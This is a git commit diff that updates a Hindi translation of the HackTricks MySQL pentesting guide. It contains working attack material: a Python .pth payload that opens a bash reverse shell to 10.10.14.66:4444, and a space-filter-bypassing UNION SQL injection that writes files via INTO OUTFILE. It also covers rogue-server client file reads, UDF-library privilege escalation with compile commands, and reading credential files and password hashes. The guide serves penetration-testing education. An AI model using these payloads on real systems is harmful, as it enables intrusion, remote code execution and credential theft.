Translated ['src/network-services-pentesting/pentesting-mysql.md'] to hi

This commit is contained in:
Translator 2025-07-14 08:54:37 +00:00
parent c31fe8b601
commit b742b67338

View File

@ -1,10 +1,5 @@
# 3306 - Pentesting Mysql # 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **बुनियादी जानकारी** ## **बुनियादी जानकारी**
@ -116,26 +111,26 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#### INTO OUTFILE → Python `.pth` RCE (साइट-विशिष्ट कॉन्फ़िगरेशन हुक) #### INTO OUTFILE → Python `.pth` RCE (साइट-विशिष्ट कॉन्फ़िगरेशन हुक)
क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करते हुए, यह संभव है कि उन लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं। क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करके यह संभव है कि लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं।
1. `INTO OUTFILE` का उपयोग करके किसी भी निर्देशिका के अंदर एक कस्टम **`.pth`** फ़ाइल ड्रॉप करें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (जैसे `.../lib/python3.10/site-packages/`)। 1. `INTO OUTFILE` का उपयोग करके किसी भी निर्देशिका के अंदर एक कस्टम **`.pth`** फ़ाइल ड्रॉप करें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (जैसे `.../lib/python3.10/site-packages/`)।
2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है, इसके बाद मनमाना Python कोड होता है जिसे हर बार इंटरप्रेटर शुरू होने पर निष्पादित किया जाएगा। 2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है उसके बाद मनमाना Python कोड होता है जो हर बार इंटरप्रेटर शुरू होने पर निष्पादित होगा।
3. जब इंटरप्रेटर को एक CGI स्क्रिप्ट द्वारा निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित होता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)। 3. जब इंटरप्रेटर को एक CGI स्क्रिप्ट द्वारा निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित होता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)।
उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्थान शामिल नहीं किया जा सकता, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है): उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्पेस शामिल नहीं किया जा सकता, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है):
```python ```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
``` ```
एक **UNION** क्वेरी के माध्यम से फ़ाइल बनाने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना): एक **UNION** क्वेरी के माध्यम से फ़ाइल तैयार करने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना):
```sql ```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
``` ```
महत्वपूर्ण सीमाएँ और बायपास: महत्वपूर्ण सीमाएँ और बायपास:
* `INTO OUTFILE` **मौजूदा फाइलों को अधिलेखित नहीं कर सकता**; एक नया फ़ाइल नाम चुनें। * `INTO OUTFILE` **मौजूदा** फ़ाइलों को **ओवरराइट** नहीं कर सकता; एक नया फ़ाइल नाम चुनें।
* फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रारंभ करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है। * फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रीफिक्स करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है।
* यदि हमलावर का इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें। * यदि हमलावर का इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें।
* क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **root** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है। * क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **रूट** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है।
`.pth` को ड्रॉप करने के बाद, कोड निष्पादन प्राप्त करने के लिए बस किसी भी CGI को अनुरोध करें जो पायथन इंटरप्रेटर द्वारा संभाला जाता है: `.pth` को ड्रॉप करने के बाद, कोड निष्पादन प्राप्त करने के लिए बस किसी भी CGI को अनुरोध करें जो पायथन इंटरप्रेटर द्वारा संभाला जाता है:
``` ```
@ -151,7 +146,7 @@ uid=0(root) gid=0(root) groups=0(root)
``` ```
--- ---
## MySQL द्वारा क्लाइंट द्वारा मनमाना फ़ाइल पढ़ना ## MySQL मनमाने पढ़ने की फ़ाइल द्वारा क्लाइंट
वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\ वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है: कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है:
@ -166,8 +161,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
``` ```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**इस पेपर में आप हमले का पूरा विवरण देख सकते हैं और यहां तक कि इसे RCE तक कैसे बढ़ाया जाए:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**यहां आप हमले का एक अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) **Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -177,7 +172,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Mysql User ### Mysql User
यदि mysql **root** के रूप में चल रहा है तो यह बहुत दिलचस्प होगा: ह बहुत दिलचस्प होगा अगर mysql **root** के रूप में चल रहा है:
```bash ```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
@ -186,10 +181,10 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
MySQL सेवाओं की कॉन्फ़िगरेशन में, इसके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स का उपयोग किया जाता है: MySQL सेवाओं की कॉन्फ़िगरेशन में, इसके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स का उपयोग किया जाता है:
- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा चलाई जाएगी। - **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी।
- **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है। - **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है।
- **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है। - **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है।
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है। - **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है। - **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
- **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके। - **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके।
@ -211,18 +206,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc) # Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh \! sh
``` ```
### Privilege Escalation via library ### विशेषाधिकार वृद्धि पुस्तकालय के माध्यम से
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **लाइब्रेरी** की आवश्यकता होगी जो mysql चला रहा है। यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **पुस्तकालय** की आवश्यकता होगी जो mysql चला रहा है।
उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए। उपयोग करने के लिए दुर्भावनापूर्ण पुस्तकालय sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाया जा सकता है। **`.so`** फ़ाइलें **linux** पुस्तकालय हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**: यदि आपके पास वे पुस्तकालय **नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**:
```bash ```bash
gcc -g -c raptor_udf2.c gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
``` ```
अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (root?) के रूप में लॉगिन करें और अगले चरणों का पालन करें: अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (रूट?) के रूप में लॉगिन करें और अगले चरणों का पालन करें:
#### Linux #### Linux
```sql ```sql
@ -264,7 +259,7 @@ cat /etc/mysql/debian.cnf
``` ```
आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं** आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं**
फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं। फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैश** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं।
आप इन्हें निकालने के लिए कर सकते हैं: आप इन्हें निकालने के लिए कर सकते हैं:
```bash ```bash